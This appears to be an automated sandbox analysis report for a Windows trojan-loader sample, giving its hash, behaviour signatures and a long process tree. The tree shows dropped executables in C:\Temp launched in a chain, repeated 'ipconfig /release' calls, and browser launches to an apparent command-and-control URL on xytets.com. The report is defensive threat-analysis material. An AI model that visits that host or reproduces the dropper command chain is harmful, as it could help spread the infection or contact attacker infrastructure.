Analysis
- max time kernel
150s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
01/11/2026, 02:20
General
- Target 2026-10-30_5707089aecc2b6ca432b2f9efd555ec8_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
- Size 365KB
- Sample261101-csjb1ss18r
- SHA256 24251a047aab2ee161c30c97495a5bbf50e31672a5816a9880e47772109390ae
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-30_5707089aecc2b6ca432b2f9efd555ec8_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-30_5707089aecc2b6ca432b2f9efd555ec8_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\nigaysqkidavtnlf.exeC:\Temp\nigaysqkidavtnlf.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nkigaysqia.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\nkigaysqia.exeC:\Temp\nkigaysqia.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nkigaysqia.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_nkigaysqia.exeC:\Temp\i_nkigaysqia.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\sqkicauspk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\sqkicauspk.exeC:\Temp\sqkicauspk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_sqkicauspk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_sqkicauspk.exeC:\Temp\i_sqkicauspk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fzxrpkhczu.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\fzxrpkhczu.exeC:\Temp\fzxrpkhczu.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fzxrpkhczu.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_fzxrpkhczu.exeC:\Temp\i_fzxrpkhczu.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwuomhecw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ecwuomhecw.exeC:\Temp\ecwuomhecw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwuomhecw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ecwuomhecw.exeC:\Temp\i_ecwuomhecw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rmjhbzurmj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rmjhbzurmj.exeC:\Temp\rmjhbzurmj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rmjhbzurmj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rmjhbzurmj.exeC:\Temp\i_rmjhbzurmj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rljhbywtrl.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rljhbywtrl.exeC:\Temp\rljhbywtrl.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rljhbywtrl.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rljhbywtrl.exeC:\Temp\i_rljhbywtrl.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qoigbytqoi.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qoigbytqoi.exeC:\Temp\qoigbytqoi.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qoigbytqoi.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qoigbytqoi.exeC:\Temp\i_qoigbytqoi.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\avtnlfdbyt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\avtnlfdbyt.exeC:\Temp\avtnlfdbyt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_avtnlfdbyt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_avtnlfdbyt.exeC:\Temp\i_avtnlfdbyt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nigaysqkid.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\nigaysqkid.exeC:\Temp\nigaysqkid.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nigaysqkid.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_nigaysqkid.exeC:\Temp\i_nigaysqkid.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dxvpnhfaxs.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\dxvpnhfaxs.exeC:\Temp\dxvpnhfaxs.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dxvpnhfaxs.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_dxvpnhfaxs.exeC:\Temp\i_dxvpnhfaxs.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pnhfcauspn.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pnhfcauspn.exeC:\Temp\pnhfcauspn.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pnhfcauspn.exe ups_ins3⤵
-
C:\Temp\i_pnhfcauspn.exeC:\Temp\i_pnhfcauspn.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\cxupmhfzxr.exe ups_run3⤵
-
C:\Temp\cxupmhfzxr.exeC:\Temp\cxupmhfzxr.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_cxupmhfzxr.exe ups_ins3⤵
-
C:\Temp\i_cxupmhfzxr.exeC:\Temp\i_cxupmhfzxr.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zxrpjhbzur.exe ups_run3⤵
-
C:\Temp\zxrpjhbzur.exeC:\Temp\zxrpjhbzur.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zxrpjhbzur.exe ups_ins3⤵
-
C:\Temp\i_zxrpjhbzur.exeC:\Temp\i_zxrpjhbzur.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\romgeywroj.exe ups_run3⤵
-
C:\Temp\romgeywroj.exeC:\Temp\romgeywroj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_romgeywroj.exe ups_ins3⤵
-
C:\Temp\i_romgeywroj.exeC:\Temp\i_romgeywroj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bytqojgbyw.exe ups_run3⤵
-
C:\Temp\bytqojgbyw.exeC:\Temp\bytqojgbyw.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bytqojgbyw.exe ups_ins3⤵
-
C:\Temp\i_bytqojgbyw.exeC:\Temp\i_bytqojgbyw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\oigeyvtody.exe ups_run3⤵
-
C:\Temp\oigeyvtody.exeC:\Temp\oigeyvtody.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_oigeyvtody.exe ups_ins3⤵
-
C:\Temp\i_oigeyvtody.exeC:\Temp\i_oigeyvtody.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lidavtnlfd.exe ups_run3⤵
-
C:\Temp\lidavtnlfd.exeC:\Temp\lidavtnlfd.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lidavtnlfd.exe ups_ins3⤵
-
C:\Temp\i_lidavtnlfd.exeC:\Temp\i_lidavtnlfd.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dxvsnkfcay.exe ups_run3⤵
-
C:\Temp\dxvsnkfcay.exeC:\Temp\dxvsnkfcay.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dxvsnkfcay.exe ups_ins3⤵
-
C:\Temp\i_dxvsnkfcay.exeC:\Temp\i_dxvsnkfcay.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fcausnkfdx.exe ups_run3⤵
-
C:\Temp\fcausnkfdx.exeC:\Temp\fcausnkfdx.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fcausnkfdx.exe ups_ins3⤵
-
C:\Temp\i_fcausnkfdx.exeC:\Temp\i_fcausnkfdx.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\iczuspkhca.exe ups_run3⤵
-
C:\Temp\iczuspkhca.exeC:\Temp\iczuspkhca.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_iczuspkhca.exe ups_ins3⤵
-
C:\Temp\i_iczuspkhca.exeC:\Temp\i_iczuspkhca.exe ups_ins4⤵
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x364,0x7ffd9fc5c188,0x7ffd9fc5c194,0x7ffd9fc5c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1676,i,3576492412637941390,18006281054689136553,262144 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1904,i,4706099651885444338,18005748664907760829,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=2548 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2552,i,4320541426631260993,1535537052320039921,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3532,i,7286976931876174416,3044575041183639,2097152 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3536,i,10568448228653566378,18379689634484479993,2097152 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4296,i,10789277021130611269,4408776983500167131,2097152 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=4812 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4300,i,4416767421431024582,249562472845291070,2097152 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3636,i,2386865063363465202,9192065965085589352,2097152 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5228,i,4724659202369429570,1917413416342296367,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5524,i,2848636917767664978,8273758853339350088,2097152 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3696,i,6915476629659512312,525707259929540308,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4812,i,17868579684464448991,4293773832564422102,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6140,i,4492289624328686102,12684054734648795236,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6140,i,4492289624328686102,12684054734648795236,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5220,i,2228906441385117310,3716228955671767153,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=6332 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6324,i,16113916389941774327,745490854179182016,524288 --field-trial-handle=2520,i,18177434033719440199,17756746151960323506,262144 --variations-seed-version --mojo-platform-channel-handle=6372 /prefetch:144⤵
-
-
